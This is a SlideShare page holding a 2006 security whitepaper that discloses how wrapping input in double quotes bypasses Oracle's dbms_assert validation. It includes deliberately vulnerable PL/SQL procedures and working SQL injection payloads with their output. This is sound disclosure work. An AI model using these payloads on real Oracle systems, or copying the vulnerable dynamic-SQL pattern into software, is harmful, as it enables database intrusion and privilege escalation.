SlideShare uma empresa Scribd logo
1 de 5
Baixar para ler offline
Bypassing Oracle dbms_assert V1.00


Bypassing Oracle dbms_assert
by Alexander Kornbrust of Red-Database-Security GmbH
http://www.red-database-security.com



Summary:
By using specially crafted parameters (in double quotes) it is possible to bypass the input
validation of the package dbms_assert and inject SQL code. This makes dozens of already
fixed Oracle vulnerabilities exploitable in all versions of Oracle again (8.1.7.4 – 10.2.0.2,
fully patched with Oracle CPU July 2006). I informed Oracle about this problem end of April
and informed Oracle about some bugs + exploits.

To mitigate the risk you should revoke especially the privilege “CREATE PROCEDURE” or
“ALTER PROCEDURE” to avoid privilege escalation by injection specially crafted functions
or procedures.


Tags:
dbms_assert, SQL Injection, dynamic SQL,


Introduction:
To protect the Oracle PL/SQL system packages from the growing number of SQL injection
vulnerabilities Oracle introduced a new package called dbms_assert in Oracle 10g Release 2.
This package was backported with the Oracle Critical Patch Update (CPU) October 2005 to
all supported databases (8.1.7.4 until 10.1.0.5).


But let's start from the beginning...

DBMS_ASSERT is a PL/SQL package consisting of the following functions.

        ENQUOTE_LITERAL
        ENQUOTE_NAME
        NOOP
        QUALIFIED_SQL_NAME
        SCHEMA_NAME
        SIMPLE_SQL_NAME
        SQL_OBJECT_NAME

A detailed explanation of these functions (+usage) can be found in David Litchfield and Dr.
Hall’s articles (see [1], [2]).

Using a central function to sanitize the (user) input is and was a clever strategy from Oracle as
long as the dbms_assert can not be bypassed. If such a central function can be bypassed then
this is a nice thing for security researchers and attackers because the usage of this function
(dbms_assert) marks all vulnerable functions und procedures.

© 2006 by Red-Database-Security GmbH                                                          1/5
Bypassing Oracle dbms_assert V1.00



Within minutes it's possible to find dozens of vulnerable PL/SQL functions and procedures in
all (fully-patched) versions of Oracle (8.1.7.4 until 10.2.0.2 with CPU July 2006) if you know
the right search string and if you are able to unwrap PL/SQL code. Since years there are
already PL/SQL unwrappers out there and Pete Finnigan will speak about this unwrapping
PL/SQL (+ simple proof-of-concept) at the Black Hat 2006 in Las Vegas [3].




© 2006 by Red-Database-Security GmbH                                                       2/5
Bypassing Oracle dbms_assert V1.00

Let's start with some simple PL/SQL examples.

A PL/SQL-procedure accepts a parameter TABLENAME and concatenates this parameter to
a dynamic SQL statement. This SQL statement will be executed with execute immediate.


(Vulnerable) Solution without dbms_assert:


CREATE OR REPLACE PROCEDURE test1 (TABLENAME                     IN VARCHAR2) IS
BEGIN

dbms_output.put_line(' SQL=select count(*) from all_tables
where table_name='''|| TABLENAME||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''|| TABLENAME ||'''';

END test1;
/

Procedure created.


Now we are using a normal table name as a parameter


SQL> exec test1('CAT');
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.



Because this parameter is not sanitized we can inject PL/SQL code, e.g. “or 1=1--"


SQL> exec test1('CAT'' or 1=1--');
SQL=select count(*) from all_tables where table_name='CAT' or
1=1--'

PL/SQL procedure successfully completed.




© 2006 by Red-Database-Security GmbH                                                 3/5
Bypassing Oracle dbms_assert V1.00

Solution with dbms_assert (still vulnerable):

Now we sanitize the user input with dbms_assert.qualified_sql_name. Oracle is using exactly
this approach several times in their internal PL/SQL code.


CREATE OR REPLACE PROCEDURE test2 (TABLENAME                       IN VARCHAR2) IS
VERIFY_TAB VARCHAR2(64);
BEGIN

VERIFY_TAB :=        DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);

dbms_output.put_line('ASSERT result='||VERIFY_TAB);
dbms_output.put_line('SQL=select count(*) from all_tables
where table_name='''|| VERIFY_TAB ||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''||VERIFY_TAB||'''';

END test2;
/

Procedure created.




We pass our table CAT as parameter and everything works as expected


SQL> exec test2('CAT');
ASSERT result=CAT
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.


Now we try to inject additional code. This time dbms_assert.qualified_sql_name throws an
error and the dynamic SQL is not executed.


SQL>   exec test2('CAT'' or 1=1--');
BEGIN test2('CAT'' or 1=1--'); END;

   *
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at "SYS.DBMS_ASSERT", line 206
ORA-06512: at "USER1.TEST2", line 5
ORA-06512: at line 1


© 2006 by Red-Database-Security GmbH                                                       4/5
Bypassing Oracle dbms_assert V1.00




And we inject an object name in double quotes into our procedure


SQL>   exec test2('"CAT'' or 1=1--"');
ASSERT result="CAT' or 1=1--"
SQL=select count(*) from all_tables where table_name='"CAT' or
1=1--"'

PL/SQL procedure successfully completed.



And, what surprise, it works...

dbms_assert.qualified_sql_name skips the input validation if the parameter is enquoted by
double quotes. If you use DBMS_ASSERT.sql_object_name you must create an object first,
e.g. CREATE TABLE " ' or 1=1-- ".

An attacker can use this technique (double quote around parameters) to bypass dbms_assert.

I informed Oracle end of April about this problem and reported already some related security
bugs in some Oracle PL/SQL packages. Oracle has no problem with the release of this
information (“Oracle sees no problem with your publication of the white paper.”)



History:
   •   1.00 – 27-july-2006 – initial release




References:

   •   [1] Securing PL/SQL Applications with DBMS_ASSERT
       http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf

   •   [2] DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection
       http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php

   •   [3] How to Unwrap Oracle PL/SQL
       http://www.blackhat.com/html/bh-usa-06/bh-us-06-speakers.html#Finnigan



(c) 2006 by Red-Database-Security GmbH



© 2006 by Red-Database-Security GmbH                                                      5/5

Mais conteúdo relacionado

Mais procurados

Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sqlSushil Mishra
 
07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Developmentrehaniltifat
 
3963066 pl-sql-notes-only
3963066 pl-sql-notes-only3963066 pl-sql-notes-only
3963066 pl-sql-notes-onlyAshwin Kumar
 
A New View of Database Views
A New View of Database ViewsA New View of Database Views
A New View of Database ViewsMichael Rosenblum
 
08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadatarehaniltifat
 
Performance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowPerformance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowKaren Morton
 
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
Tony jambu   (obscure) tools of the trade for tuning oracle sq lsTony jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony jambu (obscure) tools of the trade for tuning oracle sq lsInSync Conference
 
11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilarrehaniltifat
 
Intro to tsql unit 6
Intro to tsql   unit 6Intro to tsql   unit 6
Intro to tsql unit 6Syed Asrarali
 
View, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptView, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptFramgia Vietnam
 
DBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowDBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowAlex Zaballa
 
05 Creating Stored Procedures
05 Creating Stored Procedures05 Creating Stored Procedures
05 Creating Stored Proceduresrehaniltifat
 

Mais procurados (20)

Stored procedure in sql server
Stored procedure in sql serverStored procedure in sql server
Stored procedure in sql server
 
Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sql
 
07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development
 
3963066 pl-sql-notes-only
3963066 pl-sql-notes-only3963066 pl-sql-notes-only
3963066 pl-sql-notes-only
 
A New View of Database Views
A New View of Database ViewsA New View of Database Views
A New View of Database Views
 
Less08 Schema
Less08 SchemaLess08 Schema
Less08 Schema
 
08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata
 
Performance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowPerformance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, How
 
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
Tony jambu   (obscure) tools of the trade for tuning oracle sq lsTony jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
 
Plsql
PlsqlPlsql
Plsql
 
Oracle Database Trigger
Oracle Database TriggerOracle Database Trigger
Oracle Database Trigger
 
Plsql
PlsqlPlsql
Plsql
 
11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar
 
Intro to tsql unit 6
Intro to tsql   unit 6Intro to tsql   unit 6
Intro to tsql unit 6
 
PLSQL Tutorial
PLSQL TutorialPLSQL Tutorial
PLSQL Tutorial
 
Pl sql-ch3
Pl sql-ch3Pl sql-ch3
Pl sql-ch3
 
View, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptView, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - Thaipt
 
Intro to tsql
Intro to tsqlIntro to tsql
Intro to tsql
 
DBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowDBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should Know
 
05 Creating Stored Procedures
05 Creating Stored Procedures05 Creating Stored Procedures
05 Creating Stored Procedures
 

Destaque

Oss forensics fosscomm_2011
Oss forensics fosscomm_2011Oss forensics fosscomm_2011
Oss forensics fosscomm_2011fangjiafu
 
Cursor injection
Cursor injectionCursor injection
Cursor injectionfangjiafu
 
Oracle forensics 101
Oracle forensics 101Oracle forensics 101
Oracle forensics 101fangjiafu
 
Wce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityWce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityfangjiafu
 
Wce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engWce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engfangjiafu
 
Santorini island. 2
Santorini island. 2Santorini island. 2
Santorini island. 2Nikos
 
Understanding and selecting_dsp_final
Understanding and selecting_dsp_finalUnderstanding and selecting_dsp_final
Understanding and selecting_dsp_finalfangjiafu
 
Ddos analizi
Ddos analiziDdos analizi
Ddos analizifangjiafu
 

Destaque (8)

Oss forensics fosscomm_2011
Oss forensics fosscomm_2011Oss forensics fosscomm_2011
Oss forensics fosscomm_2011
 
Cursor injection
Cursor injectionCursor injection
Cursor injection
 
Oracle forensics 101
Oracle forensics 101Oracle forensics 101
Oracle forensics 101
 
Wce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityWce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurity
 
Wce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engWce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_eng
 
Santorini island. 2
Santorini island. 2Santorini island. 2
Santorini island. 2
 
Understanding and selecting_dsp_final
Understanding and selecting_dsp_finalUnderstanding and selecting_dsp_final
Understanding and selecting_dsp_final
 
Ddos analizi
Ddos analiziDdos analizi
Ddos analizi
 

Semelhante a Bypassing Oracle dbms_assert

OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...Alex Zaballa
 
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...Alex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu   (obscure) tools of the trade for tuning oracle sq lsTony Jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu (obscure) tools of the trade for tuning oracle sq lsInSync Conference
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2Alex Zaballa
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2Alex Zaballa
 
Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republicKaing Menglieng
 
L9 l10 server side programming
L9 l10  server side programmingL9 l10  server side programming
L9 l10 server side programmingRushdi Shams
 
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxAss2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxfredharris32
 
Performance tuning
Performance tuningPerformance tuning
Performance tuningami111
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Netwebhostingguy
 
Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Antony T Curtis
 
My sql with querys
My sql with querysMy sql with querys
My sql with querysNIRMAL FELIX
 
Watch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML UtilitiesWatch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML Utilitiesdpcobb
 
Dynamic websites lec3
Dynamic websites lec3Dynamic websites lec3
Dynamic websites lec3Belal Arfa
 

Semelhante a Bypassing Oracle dbms_assert (20)

OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
 
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu   (obscure) tools of the trade for tuning oracle sq lsTony Jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2
 
Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republic
 
L9 l10 server side programming
L9 l10  server side programmingL9 l10  server side programming
L9 l10 server side programming
 
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxAss2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
 
10053 otw
10053 otw10053 otw
10053 otw
 
Performance tuning
Performance tuningPerformance tuning
Performance tuning
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Net
 
Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)
 
Sql injection
Sql injectionSql injection
Sql injection
 
plsql les06
 plsql les06 plsql les06
plsql les06
 
My sql with querys
My sql with querysMy sql with querys
My sql with querys
 
Watch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML UtilitiesWatch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML Utilities
 
Dynamic websites lec3
Dynamic websites lec3Dynamic websites lec3
Dynamic websites lec3
 

Mais de fangjiafu

Create user to_sysdba
Create user to_sysdbaCreate user to_sysdba
Create user to_sysdbafangjiafu
 
Presentation nix
Presentation nixPresentation nix
Presentation nixfangjiafu
 
Layer 7 ddos
Layer 7 ddosLayer 7 ddos
Layer 7 ddosfangjiafu
 
Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02fangjiafu
 
Presentation nix
Presentation nixPresentation nix
Presentation nixfangjiafu
 
Proper passwordhashing
Proper passwordhashingProper passwordhashing
Proper passwordhashingfangjiafu
 
Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰fangjiafu
 
2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronizationfangjiafu
 
Network security
Network securityNetwork security
Network securityfangjiafu
 
Cloud computing security
Cloud computing securityCloud computing security
Cloud computing securityfangjiafu
 
Layer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosLayer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosfangjiafu
 
Sqlmap readme
Sqlmap readmeSqlmap readme
Sqlmap readmefangjiafu
 

Mais de fangjiafu (20)

Create user to_sysdba
Create user to_sysdbaCreate user to_sysdba
Create user to_sysdba
 
Presentation nix
Presentation nixPresentation nix
Presentation nix
 
Layer 7 ddos
Layer 7 ddosLayer 7 ddos
Layer 7 ddos
 
Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02
 
Crypto hlug
Crypto hlugCrypto hlug
Crypto hlug
 
Fp
FpFp
Fp
 
Presentation nix
Presentation nixPresentation nix
Presentation nix
 
Rr 7944
Rr 7944Rr 7944
Rr 7944
 
Proper passwordhashing
Proper passwordhashingProper passwordhashing
Proper passwordhashing
 
Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰
 
Oech03
Oech03Oech03
Oech03
 
2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization
 
Unit07
Unit07Unit07
Unit07
 
Unit05
Unit05Unit05
Unit05
 
Network security
Network securityNetwork security
Network security
 
Ids
IdsIds
Ids
 
Cloud computing security
Cloud computing securityCloud computing security
Cloud computing security
 
Layer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosLayer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dos
 
Sqlmap readme
Sqlmap readmeSqlmap readme
Sqlmap readme
 
Wisr2011 en
Wisr2011 enWisr2011 en
Wisr2011 en
 

Último

Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 

Último (20)

Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
